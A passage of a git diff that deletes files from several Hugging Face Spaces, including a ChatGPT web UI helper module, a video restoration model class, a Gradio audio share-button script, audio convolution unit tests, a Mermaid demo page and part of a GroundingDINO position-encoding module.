* Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include - -// this system inherits find -#include - diff --git a/spaces/malteos/gpt-german/README.md b/spaces/malteos/gpt-german/README.md deleted file mode 100644 index 521a42babe5f45496ec513444ffb1d786486616f..0000000000000000000000000000000000000000 --- a/spaces/malteos/gpt-german/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Gpt German -emoji: ⚡ -colorFrom: pink -colorTo: purple -sdk: gradio -sdk_version: 2.9.4 -app_file: app.py -pinned: false -license: mit ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference diff --git a/spaces/maminghui/ChatGPT/utils.py b/spaces/maminghui/ChatGPT/utils.py deleted file mode 100644 index f6e4fa4e8a9f908baa4509d7206ff3455ac57f39..0000000000000000000000000000000000000000 --- a/spaces/maminghui/ChatGPT/utils.py +++ /dev/null @@ -1,386 +0,0 @@ -# -*- coding:utf-8 -*- -from __future__ import annotations -from typing import TYPE_CHECKING, Any, Callable, Dict, List, Tuple, Type -import logging -import json -import os -import datetime -import hashlib -import csv -import requests -import re - -import gradio as gr -from pypinyin import lazy_pinyin -import tiktoken -import mdtex2html -from markdown import markdown -from pygments import highlight -from pygments.lexers import get_lexer_by_name -from pygments.formatters import HtmlFormatter - -from presets import * - -# logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] [%(filename)s:%(lineno)d] %(message)s") - -if TYPE_CHECKING: - from typing import TypedDict - - class DataframeData(TypedDict): - headers: List[str] - data: List[List[str | int | bool]] - - -def count_token(message): - encoding = tiktoken.get_encoding("cl100k_base") - input_str = f"role: {message['role']}, content: {message['content']}" - length = len(encoding.encode(input_str)) - return length - - -def markdown_to_html_with_syntax_highlight(md_str): - def replacer(match): - lang = match.group(1) or "text" - code = match.group(2) - - try: - lexer = get_lexer_by_name(lang, stripall=True) - except ValueError: - lexer = get_lexer_by_name("text", stripall=True) - - formatter = HtmlFormatter() - highlighted_code = highlight(code, lexer, formatter) - - return f'
            {highlighted_code}
            ' - - code_block_pattern = r"```(\w+)?\n([\s\S]+?)\n```" - md_str = re.sub(code_block_pattern, replacer, md_str, flags=re.MULTILINE) - - html_str = markdown(md_str) - return html_str - - -def normalize_markdown(md_text: str) -> str: - lines = md_text.split("\n") - normalized_lines = [] - inside_list = False - - for i, line in enumerate(lines): - if re.match(r"^(\d+\.|-|\*|\+)\s", line.strip()): - if not inside_list and i > 0 and lines[i - 1].strip() != "": - normalized_lines.append("") - inside_list = True - normalized_lines.append(line) - elif inside_list and line.strip() == "": - if i < len(lines) - 1 and not re.match( - r"^(\d+\.|-|\*|\+)\s", lines[i + 1].strip() - ): - normalized_lines.append(line) - continue - else: - inside_list = False - normalized_lines.append(line) - - return "\n".join(normalized_lines) - - -def convert_mdtext(md_text): - code_block_pattern = re.compile(r"```(.*?)(?:```|$)", re.DOTALL) - inline_code_pattern = re.compile(r"`(.*?)`", re.DOTALL) - code_blocks = code_block_pattern.findall(md_text) - non_code_parts = code_block_pattern.split(md_text)[::2] - - result = [] - for non_code, code in zip(non_code_parts, code_blocks + [""]): - if non_code.strip(): - non_code = normalize_markdown(non_code) - if inline_code_pattern.search(non_code): - result.append(markdown(non_code, extensions=["tables"])) - else: - result.append(mdtex2html.convert(non_code, extensions=["tables"])) - if code.strip(): - # _, code = detect_language(code) # 暂时去除代码高亮功能，因为在大段代码的情况下会出现问题 - # code = code.replace("\n\n", "\n") # 暂时去除代码中的空行，因为在大段代码的情况下会出现问题 - code = f"```{code}\n\n```" - code = markdown_to_html_with_syntax_highlight(code) - result.append(code) - result = "".join(result) - return result - - -def detect_language(code): - if code.startswith("\n"): - first_line = "" - else: - first_line = code.strip().split("\n", 1)[0] - language = first_line.lower() if first_line else "" - code_without_language = code[len(first_line) :].lstrip() if first_line else code - return language, code_without_language - - -def construct_text(role, text): - return {"role": role, "content": text} - - -def construct_user(text): - return construct_text("user", text) - - -def construct_system(text): - return construct_text("system", text) - - -def construct_assistant(text): - return construct_text("assistant", text) - - -def construct_token_message(token, stream=False): - return f"Token 计数: {token}" - - -def delete_last_conversation(chatbot, history, previous_token_count): - if len(chatbot) > 0 and standard_error_msg in chatbot[-1][1]: - logging.info("由于包含报错信息，只删除chatbot记录") - chatbot.pop() - return chatbot, history - if len(history) > 0: - logging.info("删除了一组对话历史") - history.pop() - history.pop() - if len(chatbot) > 0: - logging.info("删除了一组chatbot对话") - chatbot.pop() - if len(previous_token_count) > 0: - logging.info("删除了一组对话的token计数记录") - previous_token_count.pop() - return ( - chatbot, - history, - previous_token_count, - construct_token_message(sum(previous_token_count)), - ) - - -def save_file(filename, system, history, chatbot): - logging.info("保存对话历史中……") - os.makedirs(HISTORY_DIR, exist_ok=True) - if filename.endswith(".json"): - json_s = {"system": system, "history": history, "chatbot": chatbot} - print(json_s) - with open(os.path.join(HISTORY_DIR, filename), "w") as f: - json.dump(json_s, f) - elif filename.endswith(".md"): - md_s = f"system: \n- {system} \n" - for data in history: - md_s += f"\n{data['role']}: \n- {data['content']} \n" - with open(os.path.join(HISTORY_DIR, filename), "w", encoding="utf8") as f: - f.write(md_s) - logging.info("保存对话历史完毕") - return os.path.join(HISTORY_DIR, filename) - - -def save_chat_history(filename, system, history, chatbot): - if filename == "": - return - if not filename.endswith(".json"): - filename += ".json" - return save_file(filename, system, history, chatbot) - - -def export_markdown(filename, system, history, chatbot): - if filename == "": - return - if not filename.endswith(".md"): - filename += ".md" - return save_file(filename, system, history, chatbot) - - -def load_chat_history(filename, system, history, chatbot): - logging.info("加载对话历史中……") - if type(filename) != str: - filename = filename.name - try: - with open(os.path.join(HISTORY_DIR, filename), "r") as f: - json_s = json.load(f) - try: - if type(json_s["history"][0]) == str: - logging.info("历史记录格式为旧版，正在转换……") - new_history = [] - for index, item in enumerate(json_s["history"]): - if index % 2 == 0: - new_history.append(construct_user(item)) - else: - new_history.append(construct_assistant(item)) - json_s["history"] = new_history - logging.info(new_history) - except: - # 没有对话历史 - pass - logging.info("加载对话历史完毕") - return filename, json_s["system"], json_s["history"], json_s["chatbot"] - except FileNotFoundError: - logging.info("没有找到对话历史文件，不执行任何操作") - return filename, system, history, chatbot - - -def sorted_by_pinyin(list): - return sorted(list, key=lambda char: lazy_pinyin(char)[0][0]) - - -def get_file_names(dir, plain=False, filetypes=[".json"]): - logging.info(f"获取文件名列表，目录为{dir}，文件类型为{filetypes}，是否为纯文本列表{plain}") - files = [] - try: - for type in filetypes: - files += [f for f in os.listdir(dir) if f.endswith(type)] - except FileNotFoundError: - files = [] - files = sorted_by_pinyin(files) - if files == []: - files = [""] - if plain: - return files - else: - return gr.Dropdown.update(choices=files) - - -def get_history_names(plain=False): - logging.info("获取历史记录文件名列表") - return get_file_names(HISTORY_DIR, plain) - - -def load_template(filename, mode=0): - logging.info(f"加载模板文件{filename}，模式为{mode}（0为返回字典和下拉菜单，1为返回下拉菜单，2为返回字典）") - lines = [] - logging.info("Loading template...") - if filename.endswith(".json"): - with open(os.path.join(TEMPLATES_DIR, filename), "r", encoding="utf8") as f: - lines = json.load(f) - lines = [[i["act"], i["prompt"]] for i in lines] - else: - with open( - os.path.join(TEMPLATES_DIR, filename), "r", encoding="utf8" - ) as csvfile: - reader = csv.reader(csvfile) - lines = list(reader) - lines = lines[1:] - if mode == 1: - return sorted_by_pinyin([row[0] for row in lines]) - elif mode == 2: - return {row[0]: row[1] for row in lines} - else: - choices = sorted_by_pinyin([row[0] for row in lines]) - return {row[0]: row[1] for row in lines}, gr.Dropdown.update( - choices=choices, value=choices[0] - ) - - -def get_template_names(plain=False): - logging.info("获取模板文件名列表") - return get_file_names(TEMPLATES_DIR, plain, filetypes=[".csv", "json"]) - - -def get_template_content(templates, selection, original_system_prompt): - logging.info(f"应用模板中，选择为{selection}，原始系统提示为{original_system_prompt}") - try: - return templates[selection] - except: - return original_system_prompt - - -def reset_state(): - logging.info("重置状态") - return [], [], [], construct_token_message(0) - - -def reset_textbox(): - return gr.update(value="") - - -def reset_default(): - global API_URL - API_URL = "https://api.openai.com/v1/chat/completions" - os.environ.pop("HTTPS_PROXY", None) - os.environ.pop("https_proxy", None) - return gr.update(value=API_URL), gr.update(value=""), "API URL 和代理已重置" - - -def change_api_url(url): - global API_URL - API_URL = url - msg = f"API地址更改为了{url}" - logging.info(msg) - return msg - - -def change_proxy(proxy): - os.environ["HTTPS_PROXY"] = proxy - msg = f"代理更改为了{proxy}" - logging.info(msg) - return msg - - -def hide_middle_chars(s): - if len(s) <= 8: - return s - else: - head = s[:4] - tail = s[-4:] - hidden = "*" * (len(s) - 8) - return head + hidden + tail - - -def submit_key(key): - key = key.strip() - msg = f"API密钥更改为了{hide_middle_chars(key)}" - logging.info(msg) - return key, msg - - -def sha1sum(filename): - sha1 = hashlib.sha1() - sha1.update(filename.encode("utf-8")) - return sha1.hexdigest() - - -def replace_today(prompt): - today = datetime.datetime.today().strftime("%Y-%m-%d") - return prompt.replace("{current_date}", today) - - -def get_geoip(): - response = requests.get("https://ipapi.co/json/", timeout=5) - try: - data = response.json() - except: - data = {"error": True, "reason": "连接ipapi失败"} - if "error" in data.keys(): - logging.warning(f"无法获取IP地址信息。\n{data}") - if data["reason"] == "RateLimited": - return ( - f"获取IP地理位置失败，因为达到了检测IP的速率限制。聊天功能可能仍然可用，但请注意，如果您的IP地址在不受支持的地区，您可能会遇到问题。" - ) - else: - return f"获取IP地理位置失败。原因：{data['reason']}。你仍然可以使用聊天功能。" - else: - country = data["country_name"] - if country == "China": - text = "**您的IP区域：中国。请立即检查代理设置，在不受支持的地区使用API可能导致账号被封禁。**" - else: - text = f"您的IP区域：{country}。" - logging.info(text) - return text - - -def find_n(lst, max_num): - n = len(lst) - total = sum(lst) - - if total < max_num: - return n - - for i in range(len(lst)): - if total - lst[i] < max_num: - return n - i -1 - total = total - lst[i] - return 1 diff --git a/spaces/manavisrani07/gradio-lipsync-wav2lip/basicsr/models/edvr_model.py b/spaces/manavisrani07/gradio-lipsync-wav2lip/basicsr/models/edvr_model.py deleted file mode 100644 index 9bdbf7b94fe3f06c76fbf2a4941621f64e0003e7..0000000000000000000000000000000000000000 --- a/spaces/manavisrani07/gradio-lipsync-wav2lip/basicsr/models/edvr_model.py +++ /dev/null @@ -1,62 +0,0 @@ -from basicsr.utils import get_root_logger -from basicsr.utils.registry import MODEL_REGISTRY -from .video_base_model import VideoBaseModel - - -@MODEL_REGISTRY.register() -class EDVRModel(VideoBaseModel): - """EDVR Model. - - Paper: EDVR: Video Restoration with Enhanced Deformable Convolutional Networks. # noqa: E501 - """ - - def __init__(self, opt): - super(EDVRModel, self).__init__(opt) - if self.is_train: - self.train_tsa_iter = opt['train'].get('tsa_iter') - - def setup_optimizers(self): - train_opt = self.opt['train'] - dcn_lr_mul = train_opt.get('dcn_lr_mul', 1) - logger = get_root_logger() - logger.info(f'Multiple the learning rate for dcn with {dcn_lr_mul}.') - if dcn_lr_mul == 1: - optim_params = self.net_g.parameters() - else: # separate dcn params and normal params for different lr - normal_params = [] - dcn_params = [] - for name, param in self.net_g.named_parameters(): - if 'dcn' in name: - dcn_params.append(param) - else: - normal_params.append(param) - optim_params = [ - { # add normal params first - 'params': normal_params, - 'lr': train_opt['optim_g']['lr'] - }, - { - 'params': dcn_params, - 'lr': train_opt['optim_g']['lr'] * dcn_lr_mul - }, - ] - - optim_type = train_opt['optim_g'].pop('type') - self.optimizer_g = self.get_optimizer(optim_type, optim_params, **train_opt['optim_g']) - self.optimizers.append(self.optimizer_g) - - def optimize_parameters(self, current_iter): - if self.train_tsa_iter: - if current_iter == 1: - logger = get_root_logger() - logger.info(f'Only train TSA module for {self.train_tsa_iter} iters.') - for name, param in self.net_g.named_parameters(): - if 'fusion' not in name: - param.requires_grad = False - elif current_iter == self.train_tsa_iter: - logger = get_root_logger() - logger.warning('Train all the parameters.') - for param in self.net_g.parameters(): - param.requires_grad = True - - super(EDVRModel, self).optimize_parameters(current_iter) diff --git a/spaces/manu/the-rap-god-test/share_btn.py b/spaces/manu/the-rap-god-test/share_btn.py deleted file mode 100644 index c004e044fcae0bb741fabb5e2a135dec9e7cd1a3..0000000000000000000000000000000000000000 --- a/spaces/manu/the-rap-god-test/share_btn.py +++ /dev/null @@ -1,203 +0,0 @@ -community_icon_html = """""" - -loading_icon_html = """""" - -share_js = """async () => { - async function uploadFile(file){ - const UPLOAD_URL = 'https://huggingface.co/uploads'; - const response = await fetch(UPLOAD_URL, { - method: 'POST', - headers: { - 'Content-Type': 'audio/wav', - 'X-Requested-With': 'XMLHttpRequest', - }, - body: file, /// <- File inherits from Blob - }); - const url = await response.text(); - return url; - } - - function audioResample(buffer, sampleRate){ - const offlineCtx = new OfflineAudioContext(2, (buffer.length / buffer.sampleRate) * sampleRate, sampleRate); - const source = offlineCtx.createBufferSource(); - source.buffer = buffer; - source.connect(offlineCtx.destination); - source.start(); - return offlineCtx.startRendering(); - }; - - function audioReduceChannels(buffer, targetChannelOpt){ - if(targetChannelOpt === 'both' || buffer.numberOfChannels < 2) return buffer; - const outBuffer = new AudioBuffer({ - sampleRate: buffer.sampleRate, - length: buffer.length, - numberOfChannels: 1 - }); - - const data = [buffer.getChannelData(0), buffer.getChannelData(1)]; - const newData = new Float32Array(buffer.length); - for(let i = 0; i < buffer.length; ++i) - newData[i] = - targetChannelOpt === 'left'? data[0][i] : - targetChannelOpt === 'right'? data[1][i] : - (data[0][i] + data[1][i]) / 2 ; - outBuffer.copyToChannel(newData, 0); - return outBuffer; - }; - - function audioNormalize(buffer){ - const data = Array.from(Array(buffer.numberOfChannels)).map((_, idx) => buffer.getChannelData(idx)); - const maxAmplitude = Math.max(...data.map(chan => chan.reduce((acc, cur) => Math.max(acc, Math.abs(cur)), 0))); - if(maxAmplitude >= 1.0) return buffer; - const coeff = 1.0 / maxAmplitude; - data.forEach(chan => { - chan.forEach((v, idx) => chan[idx] = v*coeff); - buffer.copyToChannel(chan, 0); - }); - return buffer; - }; - - async function processAudioFile( - audioBufferIn, - targetChannelOpt, - targetSampleRate - ) { - const resampled = await audioResample(audioBufferIn, targetSampleRate); - const reduced = audioReduceChannels(resampled, targetChannelOpt); - const normalized = audioNormalize(reduced); - return normalized; - } - - function audioToRawWave(audioChannels, bytesPerSample, mixChannels=false) { - const bufferLength = audioChannels[0].length; - const numberOfChannels = audioChannels.length === 1 ? 1 : 2; - const reducedData = new Uint8Array( - bufferLength * numberOfChannels * bytesPerSample - ); - for (let i = 0; i < bufferLength; ++i) { - for ( - let channel = 0; - channel < (mixChannels ? 1 : numberOfChannels); - ++channel - ) { - const outputIndex = (i * numberOfChannels + channel) * bytesPerSample; - let sample; - if (!mixChannels) sample = audioChannels[channel][i]; - else - sample = - audioChannels.reduce((prv, cur) => prv + cur[i], 0) / - numberOfChannels; - sample = sample > 1 ? 1 : sample < -1 ? -1 : sample; //check for clipping - //bit reduce and convert to Uint8 - switch (bytesPerSample) { - case 2: - sample = sample * 32767; - reducedData[outputIndex] = sample; - reducedData[outputIndex + 1] = sample >> 8; - break; - case 1: - reducedData[outputIndex] = (sample + 1) * 127; - break; - default: - throw "Only 8, 16 bits per sample are supported"; - } - } - } - return reducedData; - } - - function makeWav(data, channels, sampleRate, bytesPerSample) { - const headerLength = 44; - var wav = new Uint8Array(headerLength + data.length); - var view = new DataView(wav.buffer); - - view.setUint32(0, 1380533830, false); // RIFF identifier 'RIFF' - view.setUint32(4, 36 + data.length, true); // file length minus RIFF identifier length and file description length - view.setUint32(8, 1463899717, false); // RIFF type 'WAVE' - view.setUint32(12, 1718449184, false); // format chunk identifier 'fmt ' - view.setUint32(16, 16, true); // format chunk length - view.setUint16(20, 1, true); // sample format (raw) - view.setUint16(22, channels, true); // channel count - view.setUint32(24, sampleRate, true); // sample rate - view.setUint32(28, sampleRate * bytesPerSample * channels, true); // byte rate (sample rate * block align) - view.setUint16(32, bytesPerSample * channels, true); // block align (channel count * bytes per sample) - view.setUint16(34, bytesPerSample * 8, true); // bits per sample - view.setUint32(36, 1684108385, false); // data chunk identifier 'data' - view.setUint32(40, data.length, true); // data chunk length - - wav.set(data, headerLength); - - return new Blob([wav.buffer], { type: "audio/wav" }); - } - - const gradioEl = document.querySelector('body > gradio-app'); - const audioEl = gradioEl.querySelector('audio'); - const resultTxt = gradioEl.querySelector('#result-textarea textarea').value; - const shareBtnEl = gradioEl.querySelector('#share-btn'); - const shareIconEl = gradioEl.querySelector('#share-btn-share-icon'); - const loadingIconEl = gradioEl.querySelector('#share-btn-loading-icon'); - - if(!audioEl){ - return; - }; - - shareBtnEl.style.pointerEvents = 'none'; - shareIconEl.style.display = 'none'; - loadingIconEl.style.removeProperty('display'); - - const res = await fetch(audioEl.src); - const blob = await res.blob(); - - const channelOpt = "both"; - const sampleRate = 48000; - const bytesPerSample = 1; // or 2 - const audioBufferIn = await new AudioContext().decodeAudioData( - await blob.arrayBuffer() - ); - const audioBuffer = await processAudioFile( - audioBufferIn, - channelOpt, - sampleRate - ); - const rawData = audioToRawWave( - channelOpt === "both" - ? [audioBuffer.getChannelData(0), audioBuffer.getChannelData(1)] - : [audioBuffer.getChannelData(0)], - bytesPerSample - ); - const blobWav = makeWav( - rawData, - channelOpt === "both" ? 2 : 1, - sampleRate, - bytesPerSample - ); - - const fileName = `whisper-demo-input.wav`; - const audioFile = new File([blobWav], fileName, { type: 'audio/wav' }); - - const url = await uploadFile(audioFile); - - const descriptionMd = `#### Input audio: - - -#### Transcription: - -> ${resultTxt}`; - - const params = new URLSearchParams({ - description: descriptionMd, - }); - - const paramsStr = params.toString(); - window.open(`https://huggingface.co/spaces/manu/the-rap-god-test/discussions/new?${paramsStr}`, '_blank'); - - shareBtnEl.style.removeProperty('pointer-events'); - shareIconEl.style.removeProperty('display'); - loadingIconEl.style.display = 'none'; -}""" \ No newline at end of file diff --git a/spaces/marcusj83/MusicGenbruh/tests/modules/test_conv.py b/spaces/marcusj83/MusicGenbruh/tests/modules/test_conv.py deleted file mode 100644 index 28fbc4f1a0ebaf41b56947b767958ae696e75eec..0000000000000000000000000000000000000000 --- a/spaces/marcusj83/MusicGenbruh/tests/modules/test_conv.py +++ /dev/null @@ -1,203 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. - -from itertools import product -import math -import random - -import pytest -import torch -from torch import nn - -from audiocraft.modules import ( - NormConv1d, - NormConvTranspose1d, - StreamableConv1d, - StreamableConvTranspose1d, - pad1d, - unpad1d, -) - - -def test_get_extra_padding_for_conv1d(): - # TODO: Implement me! - pass - - -def test_pad1d_zeros(): - x = torch.randn(1, 1, 20) - - xp1 = pad1d(x, (0, 5), mode='constant', value=0.) - assert xp1.shape[-1] == 25 - xp2 = pad1d(x, (5, 5), mode='constant', value=0.) - assert xp2.shape[-1] == 30 - xp3 = pad1d(x, (0, 0), mode='constant', value=0.) - assert xp3.shape[-1] == 20 - xp4 = pad1d(x, (10, 30), mode='constant', value=0.) - assert xp4.shape[-1] == 60 - - with pytest.raises(AssertionError): - pad1d(x, (-1, 0), mode='constant', value=0.) - - with pytest.raises(AssertionError): - pad1d(x, (0, -1), mode='constant', value=0.) - - with pytest.raises(AssertionError): - pad1d(x, (-1, -1), mode='constant', value=0.) - - -def test_pad1d_reflect(): - x = torch.randn(1, 1, 20) - - xp1 = pad1d(x, (0, 5), mode='reflect', value=0.) - assert xp1.shape[-1] == 25 - xp2 = pad1d(x, (5, 5), mode='reflect', value=0.) - assert xp2.shape[-1] == 30 - xp3 = pad1d(x, (0, 0), mode='reflect', value=0.) - assert xp3.shape[-1] == 20 - xp4 = pad1d(x, (10, 30), mode='reflect', value=0.) - assert xp4.shape[-1] == 60 - - with pytest.raises(AssertionError): - pad1d(x, (-1, 0), mode='reflect', value=0.) - - with pytest.raises(AssertionError): - pad1d(x, (0, -1), mode='reflect', value=0.) - - with pytest.raises(AssertionError): - pad1d(x, (-1, -1), mode='reflect', value=0.) - - -def test_unpad1d(): - x = torch.randn(1, 1, 20) - - u1 = unpad1d(x, (5, 5)) - assert u1.shape[-1] == 10 - u2 = unpad1d(x, (0, 5)) - assert u2.shape[-1] == 15 - u3 = unpad1d(x, (5, 0)) - assert u3.shape[-1] == 15 - u4 = unpad1d(x, (0, 0)) - assert u4.shape[-1] == x.shape[-1] - - with pytest.raises(AssertionError): - unpad1d(x, (-1, 0)) - - with pytest.raises(AssertionError): - unpad1d(x, (0, -1)) - - with pytest.raises(AssertionError): - unpad1d(x, (-1, -1)) - - -class TestNormConv1d: - - def test_norm_conv1d_modules(self): - N, C, T = 2, 2, random.randrange(1, 100_000) - t0 = torch.randn(N, C, T) - - C_out, kernel_size, stride = 1, 4, 1 - expected_out_length = int((T - kernel_size) / stride + 1) - wn_conv = NormConv1d(C, 1, kernel_size=4, norm='weight_norm') - gn_conv = NormConv1d(C, 1, kernel_size=4, norm='time_group_norm') - nn_conv = NormConv1d(C, 1, kernel_size=4, norm='none') - - assert isinstance(wn_conv.norm, nn.Identity) - assert isinstance(wn_conv.conv, nn.Conv1d) - - assert isinstance(gn_conv.norm, nn.GroupNorm) - assert isinstance(gn_conv.conv, nn.Conv1d) - - assert isinstance(nn_conv.norm, nn.Identity) - assert isinstance(nn_conv.conv, nn.Conv1d) - - for conv_layer in [wn_conv, gn_conv, nn_conv]: - out = conv_layer(t0) - assert isinstance(out, torch.Tensor) - assert list(out.shape) == [N, C_out, expected_out_length] - - -class TestNormConvTranspose1d: - - def test_normalizations(self): - N, C, T = 2, 2, random.randrange(1, 100_000) - t0 = torch.randn(N, C, T) - - C_out, kernel_size, stride = 1, 4, 1 - expected_out_length = (T - 1) * stride + (kernel_size - 1) + 1 - - wn_convtr = NormConvTranspose1d(C, C_out, kernel_size=kernel_size, stride=stride, norm='weight_norm') - gn_convtr = NormConvTranspose1d(C, C_out, kernel_size=kernel_size, stride=stride, norm='time_group_norm') - nn_convtr = NormConvTranspose1d(C, C_out, kernel_size=kernel_size, stride=stride, norm='none') - - assert isinstance(wn_convtr.norm, nn.Identity) - assert isinstance(wn_convtr.convtr, nn.ConvTranspose1d) - - assert isinstance(gn_convtr.norm, nn.GroupNorm) - assert isinstance(gn_convtr.convtr, nn.ConvTranspose1d) - - assert isinstance(nn_convtr.norm, nn.Identity) - assert isinstance(nn_convtr.convtr, nn.ConvTranspose1d) - - for convtr_layer in [wn_convtr, gn_convtr, nn_convtr]: - out = convtr_layer(t0) - assert isinstance(out, torch.Tensor) - assert list(out.shape) == [N, C_out, expected_out_length] - - -class TestStreamableConv1d: - - def get_streamable_conv1d_output_length(self, length, kernel_size, stride, dilation): - # StreamableConv1d internally pads to make sure that the last window is full - padding_total = (kernel_size - 1) * dilation - (stride - 1) - n_frames = (length - kernel_size + padding_total) / stride + 1 - ideal_length = (math.ceil(n_frames) - 1) * stride + (kernel_size - padding_total) - return ideal_length // stride - - def test_streamable_conv1d(self): - N, C, T = 2, 2, random.randrange(1, 100_000) - t0 = torch.randn(N, C, T) - C_out = 1 - - # conv params are [(kernel_size, stride, dilation)] - conv_params = [(4, 1, 1), (4, 2, 1), (3, 1, 3), (10, 5, 1), (3, 2, 3)] - for causal, (kernel_size, stride, dilation) in product([False, True], conv_params): - expected_out_length = self.get_streamable_conv1d_output_length(T, kernel_size, stride, dilation) - sconv = StreamableConv1d(C, C_out, kernel_size=kernel_size, stride=stride, dilation=dilation, causal=causal) - out = sconv(t0) - assert isinstance(out, torch.Tensor) - print(list(out.shape), [N, C_out, expected_out_length]) - assert list(out.shape) == [N, C_out, expected_out_length] - - -class TestStreamableConvTranspose1d: - - def get_streamable_convtr1d_output_length(self, length, kernel_size, stride): - padding_total = (kernel_size - stride) - return (length - 1) * stride - padding_total + (kernel_size - 1) + 1 - - def test_streamable_convtr1d(self): - N, C, T = 2, 2, random.randrange(1, 100_000) - t0 = torch.randn(N, C, T) - - C_out = 1 - - with pytest.raises(AssertionError): - StreamableConvTranspose1d(C, C_out, kernel_size=4, causal=False, trim_right_ratio=0.5) - StreamableConvTranspose1d(C, C_out, kernel_size=4, causal=True, trim_right_ratio=-1.) - StreamableConvTranspose1d(C, C_out, kernel_size=4, causal=True, trim_right_ratio=2) - - # causal params are [(causal, trim_right)] - causal_params = [(False, 1.0), (True, 1.0), (True, 0.5), (True, 0.0)] - # conv params are [(kernel_size, stride)] - conv_params = [(4, 1), (4, 2), (3, 1), (10, 5)] - for ((causal, trim_right_ratio), (kernel_size, stride)) in product(causal_params, conv_params): - expected_out_length = self.get_streamable_convtr1d_output_length(T, kernel_size, stride) - sconvtr = StreamableConvTranspose1d(C, C_out, kernel_size=kernel_size, stride=stride, - causal=causal, trim_right_ratio=trim_right_ratio) - out = sconvtr(t0) - assert isinstance(out, torch.Tensor) - assert list(out.shape) == [N, C_out, expected_out_length] diff --git a/spaces/mariashay/DataViz-Mermaid/index.html b/spaces/mariashay/DataViz-Mermaid/index.html deleted file mode 100644 index 005e027278e281b91f031e7b2920a58fdaa7c81f..0000000000000000000000000000000000000000 --- a/spaces/mariashay/DataViz-Mermaid/index.html +++ /dev/null @@ -1,58 +0,0 @@ - - - - - - My static Space - - - - - - - -
            -journey - title Create AI - section Training - Format DataSet Inputs Files, Data Splits: 5: Teacher - Model Build w/ SKLearn, TF, Pytorch: 3: Student - Determine Model Performance: 1: Teacher, Student - section Deploy - Web Deploy Local and Cloud: 5: Teacher - Architecture Spaces Gradio Streamlit Heroku AWS Azure and GCCP: 5: Teacher - section Testing - Test Model with Input Datasets: 5: Teacher - Examples. Inputs that Work, Inputs That Break Model: 5: Teacher - Governance - Analyze, Publish Fairness, Equity, Bias for Datasets and Outputs: 5: Teacher -
            - -
            -sequenceDiagram - participant Alice - participant Bob - Alice->>John: Hello John, how are you? - loop Healthcheck - John->>John: Fight against hypochondria - end - Note right of John: Rational thoughts
            prevail... - John-->>Alice: Great! - John->>Bob: How about you? - Bob-->>John: Jolly good! -
            - -
            -

            Welcome to the Mermaid Modeler Tip Sheet

            -

            - You can use Mermaid inside HTML5 by including the script and a div with the class or mermaid. -

            -

            - Documentation is located here: - Mermaid documentation. -

            -
            - - - diff --git a/spaces/matthoffner/chatbot/pages/api/home/index.ts b/spaces/matthoffner/chatbot/pages/api/home/index.ts deleted file mode 100644 index 20dca24e29311e2b4cb998a3e4654e16f20a574c..0000000000000000000000000000000000000000 --- a/spaces/matthoffner/chatbot/pages/api/home/index.ts +++ /dev/null @@ -1 +0,0 @@ -export { default, getServerSideProps } from './home'; diff --git a/spaces/matthoffner/starchat-ui/types/env.ts b/spaces/matthoffner/starchat-ui/types/env.ts deleted file mode 100644 index f6b9dd7c97885ba49e2b6c238a297cbf98070961..0000000000000000000000000000000000000000 --- a/spaces/matthoffner/starchat-ui/types/env.ts +++ /dev/null @@ -1,7 +0,0 @@ -export interface ProcessEnv { - OPENAI_API_KEY: string; - OPENAI_API_HOST?: string; - OPENAI_API_TYPE?: 'openai' | 'azure'; - OPENAI_API_VERSION?: string; - OPENAI_ORGANIZATION?: string; -} diff --git a/spaces/mentalmao/nitrosocke-spider-verse-diffusion/app.py b/spaces/mentalmao/nitrosocke-spider-verse-diffusion/app.py deleted file mode 100644 index 8cf6a4ef76ca6ef2a5f85da8103774194cb58825..0000000000000000000000000000000000000000 --- a/spaces/mentalmao/nitrosocke-spider-verse-diffusion/app.py +++ /dev/null @@ -1,3 +0,0 @@ -import gradio as gr - -gr.Interface.load("models/nitrosocke/spider-verse-diffusion").launch() \ No newline at end of file diff --git a/spaces/merve/Grounding_DINO_demo/groundingdino/models/GroundingDINO/backbone/position_encoding.py b/spaces/merve/Grounding_DINO_demo/groundingdino/models/GroundingDINO/backbone/position_encoding.py deleted file mode 100644 index eac7e896bbe85a670824bfe8ef487d0535d5bd99..0000000000000000000000000000000000000000 --- a/spaces/merve/Grounding_DINO_demo/groundingdino/models/GroundingDINO/backbone/position_encoding.py +++ /dev/null @@ -1,186 +0,0 @@ -# ------------------------------------------------------------------------ -# Grounding DINO -# url: https://github.com/IDEA-Research/GroundingDINO -# Copyright (c) 2023 IDEA. All Rights Reserved. -# Licensed under the Apache License, Version 2.0 [see LICENSE for details] -# ------------------------------------------------------------------------ -# DINO -# Copyright (c) 2022 IDEA. All Rights Reserved. -# Licensed under the Apache License, Version 2.0 [see LICENSE for details] -# ------------------------------------------------------------------------ -# Conditional DETR -# Copyright (c) 2021 Microsoft. All Rights Reserved. -# Licensed under the Apache License, Version 2.0 [see LICENSE for details] -# ------------------------------------------------------------------------ -# Copied from DETR (https://github.com/facebookresearch/detr) -# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. -# ------------------------------------------------------------------------ - -""" -Various positional encodings for the transformer. -""" -import math - -import torch -from torch import nn - -from groundingdino.util.misc import NestedTensor - - -class PositionEmbeddingSine(nn.Module): - """ - This is a more standard version of the position embedding, very similar to the one - used by the Attention is all you need paper, generalized to work on images. - """ - - def __init__(self, num_pos_feats=64, temperature=10000, normalize=False, scale=None): - super().__init__() - self.num_pos_feats = num_pos_feats - self.temperature = temperature - self.normalize = normalize - if scale is not None and normalize is False: - raise ValueError("normalize should be True if scale is passed") - if scale is None: - scale = 2 * math.pi - self.scale = scale - - def forward(self, tensor_list: NestedTensor): - x = tensor_list.tensors - mask = tensor_list.mask - assert mask is not None - not_mask = ~mask - y_embed = not_mask.cumsum(1, 